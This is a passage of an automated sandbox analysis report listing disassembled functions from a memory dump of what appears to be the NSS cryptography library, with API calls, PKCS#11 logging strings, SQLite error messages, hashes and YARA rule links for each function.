Opcode ID: 328b607808e89c28ee0b745dc99edc12d3207df665551be45dd6d957ec7e3e22
Instruction ID: a9644749b2fff1d6f230ca676709449d002109ac404e7d0a6152ea02a838f351
Opcode Fuzzy Hash: 328b607808e89c28ee0b745dc99edc12d3207df665551be45dd6d957ec7e3e22
Instruction Fuzzy Hash: FB31E5B5FE4121ABE7419E66DC45B16B7B5EF0531CB288125E80587F00E722E815C7E2

Function 6CEB6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CEB781D,00000000,6CEABE2C,?,6CEB6B1D,?,?,?,?,00000000,00000000,6CEB781D), ref: 6CEB6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CEB781D,?,6CEABE2C,?), ref: 6CEB6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CEB781D), ref: 6CEB6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CEB6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CEB6C96

Part of subcall function 6CE61240: TlsGetValue.KERNEL32(00000040,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61267
Part of subcall function 6CE61240: EnterCriticalSection.KERNEL32(?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE6127C
Part of subcall function 6CE61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61291
Part of subcall function 6CE61240: PR_Unlock.NSS3(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE612A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CEB6CAA

Strings

dbm, xrefs: 6CEB6CA4
rdb:, xrefs: 6CEB6C69
sql:, xrefs: 6CEB6C52
dbm:, xrefs: 6CEB6C3A
NSS_DEFAULT_DB_TYPE, xrefs: 6CEB6C91
extern:, xrefs: 6CEB6C7E

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 36fe0f65b0e1523c2fa6cab29e77a2832f1f4732cbe547c55d7d88723ab9fa0c
Instruction ID: 6c0e643a684ab40c464cdd1445ba77eaac8bc93a015ef6fce6b3235a20697c31
Opcode Fuzzy Hash: 36fe0f65b0e1523c2fa6cab29e77a2832f1f4732cbe547c55d7d88723ab9fa0c
Instruction Fuzzy Hash: CE01A7A1B0330577E94027BA9E59F67356C9F4215CF380432FE04F1A41EBB3EA1544B9

Function 6CEC4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CE878F8), ref: 6CEC4E6D

Part of subcall function 6CE609E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CE606A2,00000000,?), ref: 6CE609F8
Part of subcall function 6CE609E0: malloc.MOZGLUE(0000001F), ref: 6CE60A18
Part of subcall function 6CE609E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE60A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CE878F8), ref: 6CEC4ED9

Part of subcall function 6CEB5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CEB7703,?,00000000,00000000), ref: 6CEB5942
Part of subcall function 6CEB5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CEB7703), ref: 6CEB5954
Part of subcall function 6CEB5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEB596A
Part of subcall function 6CEB5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEB5984
Part of subcall function 6CEB5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CEB5999
Part of subcall function 6CEB5920: free.MOZGLUE(00000000), ref: 6CEB59BA
Part of subcall function 6CEB5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CEB59D3
Part of subcall function 6CEB5920: free.MOZGLUE(00000000), ref: 6CEB59F5
Part of subcall function 6CEB5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CEB5A0A
Part of subcall function 6CEB5920: free.MOZGLUE(00000000), ref: 6CEB5A2E
Part of subcall function 6CEB5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CEB5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4EB3

Part of subcall function 6CEC4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEC4EB8,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC484C
Part of subcall function 6CEC4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEC4EB8,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC486D
Part of subcall function 6CEC4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CEC4EB8,?), ref: 6CEC4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4EC0

Part of subcall function 6CEC4470: TlsGetValue.KERNEL32(00000000,?,6CE87296,00000000), ref: 6CEC4487
Part of subcall function 6CEC4470: EnterCriticalSection.KERNEL32(?,?,?,6CE87296,00000000), ref: 6CEC44A0
Part of subcall function 6CEC4470: PR_Unlock.NSS3(?,?,?,?,6CE87296,00000000), ref: 6CEC44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CF9DCB0,00000000), ref: 6CEC4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CEC501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CE878F8), ref: 6CEC506B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 25a4f1a83ba2249dfecbe1653dc1c01a60e9b3832dce48613a7fba2a96881fd7
Instruction ID: 7336f699fe004bdc5023cf2005535b1392079f37038f2c5165e9b8ef416e87bb
Opcode Fuzzy Hash: 25a4f1a83ba2249dfecbe1653dc1c01a60e9b3832dce48613a7fba2a96881fd7
Instruction Fuzzy Hash: BC51E3B5E012419BDB119F24EE026AA76B4EF0631DF24053AEC2696B12FB31E915C6D3

Function 6CE6ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6ACE2
malloc.MOZGLUE(00000001), ref: 6CE6ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE6AD02
TlsGetValue.KERNEL32 ref: 6CE6AD3C
calloc.MOZGLUE(00000001,?), ref: 6CE6AD8C
PR_Unlock.NSS3 ref: 6CE6ADC0
free.MOZGLUE(00000000), ref: 6CE6AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE6AE58
free.MOZGLUE(00000000), ref: 6CE6AE69
free.MOZGLUE(?), ref: 6CE6AE78
PR_Unlock.NSS3 ref: 6CE6AE8C
free.MOZGLUE(?), ref: 6CE6AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6AEC7

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: ddff63e8c1fbecdee1fe2dc6917b08ed97ec4361827ea0c2b46942312023713a
Instruction ID: f51b34fc9cdcdb2ff811a243afacc07e515dc9f52c64821f9272eb140890a5a9
Opcode Fuzzy Hash: ddff63e8c1fbecdee1fe2dc6917b08ed97ec4361827ea0c2b46942312023713a
Instruction Fuzzy Hash: 7151AFB1EA11259BDF40DFAAD8457AF7774BB0635CF244025E815A3F00D331AA45CBD2

Function 6CEAADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CEAADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEAAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEAAE29

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEAAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CEAAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEAAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CEAAEA0

Strings

hSession = 0x%x, xrefs: 6CEAAE01, 6CEAAE11
C_MessageSignInit, xrefs: 6CEAADE1
hKey = 0x%x, xrefs: 6CEAAE62, 6CEAAE72
(CK_INVALID_HANDLE), xrefs: 6CEAAE1F, 6CEAAE80

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 0129d693392067b3a574286f05a41eab7d7ce2062b74e8f8be146cf8c5203ec4
Instruction ID: b8e7b3fadf2e3d3c7695dd2014c1ea36813f7d92fb03904abb729a14a3a9998a
Opcode Fuzzy Hash: 0129d693392067b3a574286f05a41eab7d7ce2062b74e8f8be146cf8c5203ec4
Instruction Fuzzy Hash: 54312531A51214AFDB009FA4CC88FAA7775AF4630DF548469E8095FB01DB31AC4ACF91

Function 6CEA9EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CEA9F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA9F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA9F49

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA9F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CEA9F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA9FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CEA9FC0

Strings

hSession = 0x%x, xrefs: 6CEA9F21, 6CEA9F31
hKey = 0x%x, xrefs: 6CEA9F82, 6CEA9F92
(CK_INVALID_HANDLE), xrefs: 6CEA9F3F, 6CEA9FA0
C_MessageEncryptInit, xrefs: 6CEA9F01

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: 0265d050973c995406e0cc71188c311bc1777bc69a779b738e211804d3f7161c
Instruction ID: 5b537eb5782756b0e858c5b6cfd7563f7eb5face4855e46675a001112d10e210
Opcode Fuzzy Hash: 0265d050973c995406e0cc71188c311bc1777bc69a779b738e211804d3f7161c
Instruction Fuzzy Hash: D2314A35A01254AFDB40DFA4DC89FBE7775AB4A30CF158469E9085FB41D732AC0ACB91

Function 6CF44C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CF44CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF44CFD
sqlite3_value_text16.NSS3(?), ref: 6CF44D44

Strings

another row available, xrefs: 6CF44D20
bad parameter or other API misuse, xrefs: 6CF44D05
unknown error, xrefs: 6CF44D56
abort due to ROLLBACK, xrefs: 6CF44D27, 6CF44D33
API call with %s database connection pointer, xrefs: 6CF44CF6
no more rows available, xrefs: 6CF44D2E
out of memory, xrefs: 6CF44C78, 6CF44C9E
invalid, xrefs: 6CF44CF1

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 1d8c317c665b49e8aec0cb9a00ca5295921dfd0f55c049f4655286e4bc4b7c04
Instruction ID: 962db6d93a3381e83aad381c0acb3109d19b9c8a4b173ee1c0104924ee522842
Opcode Fuzzy Hash: 1d8c317c665b49e8aec0cb9a00ca5295921dfd0f55c049f4655286e4bc4b7c04
Instruction Fuzzy Hash: 9A316C73E45851ABE7084E24A8017E6BF717782318F1DC129D9247BE57CF25AC2683E2

Function 6CEA2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CEA2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA2E33

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CEA2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CEA2E81

Strings

hSession = 0x%x, xrefs: 6CEA2E0E, 6CEA2E1E
ulPinLen = %d, xrefs: 6CEA2E7C
pPin = 0x%p, xrefs: 6CEA2E63
C_InitPIN, xrefs: 6CEA2DF1
(CK_INVALID_HANDLE), xrefs: 6CEA2E2C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 30d6c26996146cb8774152036e3e31dfdbe3bf8de418985a70d851c12b5452a0
Instruction ID: 8548eb3c20987ccd7b76e6581bb1215df64a0c12e8701fea7c33824252d4d3c4
Opcode Fuzzy Hash: 30d6c26996146cb8774152036e3e31dfdbe3bf8de418985a70d851c12b5452a0
Instruction Fuzzy Hash: F5313471E12114AFDB118BA5CD4CB4A7BB0EB4631CF548025E80DABB11DB31AD4ACBD2

Function 6CEA6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CEA6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA6F53

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CEA6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CEA6FA1

Strings

hSession = 0x%x, xrefs: 6CEA6F2E, 6CEA6F3E
pPart = 0x%p, xrefs: 6CEA6F83
C_DigestUpdate, xrefs: 6CEA6F11
ulPartLen = %d, xrefs: 6CEA6F9C
(CK_INVALID_HANDLE), xrefs: 6CEA6F4C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 889483830f0ca5758d0369fccf1896c255cc2d0ea3bc42537b12c2aa22ba3693
Instruction ID: 34de3c87bcfb2dabe2ea0f83921a6afbdb0922967511183724cd638dc376a02c
Opcode Fuzzy Hash: 889483830f0ca5758d0369fccf1896c255cc2d0ea3bc42537b12c2aa22ba3693
Instruction Fuzzy Hash: 6F31F538A22110AFDB40DF68CC49B4A77B5EB4731CF594469E8089BB11DB31AD4ACBD1

Function 6CEA7E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CEA7E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA7E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA7E63

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA7E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CEA7E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CEA7EB1

Strings

hSession = 0x%x, xrefs: 6CEA7E3E, 6CEA7E4E
pPart = 0x%p, xrefs: 6CEA7E93
C_VerifyUpdate, xrefs: 6CEA7E21
ulPartLen = %d, xrefs: 6CEA7EAC
(CK_INVALID_HANDLE), xrefs: 6CEA7E5C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: d9ecbed3e06368ee8dd1d38cbd23436d01bec49cc03ad5d3ba5524165d49a38f
Instruction ID: 0b5ad9a3f0b6409da1d05922d7fff1b9801cddf505b50dc3548e55183cc2a2d6
Opcode Fuzzy Hash: d9ecbed3e06368ee8dd1d38cbd23436d01bec49cc03ad5d3ba5524165d49a38f
Instruction Fuzzy Hash: 71310434E12114AFDB10DBA4CD4CF8A7BB0EB4631DF558069E8089BB11DB31AD0ACBE1

Function 6CEA7F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CEA7F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA7F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA7F93

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA7FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CEA7FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CEA7FE1

Strings

hSession = 0x%x, xrefs: 6CEA7F6E, 6CEA7F7E
pSignature = 0x%p, xrefs: 6CEA7FC3
C_VerifyFinal, xrefs: 6CEA7F51
(CK_INVALID_HANDLE), xrefs: 6CEA7F8C
ulSignatureLen = %d, xrefs: 6CEA7FDC

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: cee9e135accd41705224a5a770d86f8409877db616e1f5a50a2b19ab61a7166b
Instruction ID: bf5924dd19689c290f4a4bc3a8356623e26329b075c7327439f83da0482163c3
Opcode Fuzzy Hash: cee9e135accd41705224a5a770d86f8409877db616e1f5a50a2b19ab61a7166b
Instruction Fuzzy Hash: DC313734A12054AFEB10DB64CC8DF4A7BB0EB4631DF548425E8085B701DB31AD4ACBE2

Function 6CF42D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CF42D9F

Part of subcall function 6CDFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE5F9C9,?,6CE5F4DA,6CE5F9C9,?,?,6CE2369A), ref: 6CDFCA7A
Part of subcall function 6CDFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDFCB26

sqlite3_exec.NSS3(?,?,6CF42F70,?,?), ref: 6CF42DF9
sqlite3_free.NSS3(00000000), ref: 6CF42E2C
sqlite3_free.NSS3(?), ref: 6CF42E3A
sqlite3_free.NSS3(?), ref: 6CF42E52
sqlite3_mprintf.NSS3(6CFAAAF9,?), ref: 6CF42E62
sqlite3_free.NSS3(?), ref: 6CF42E70
sqlite3_free.NSS3(?), ref: 6CF42E89
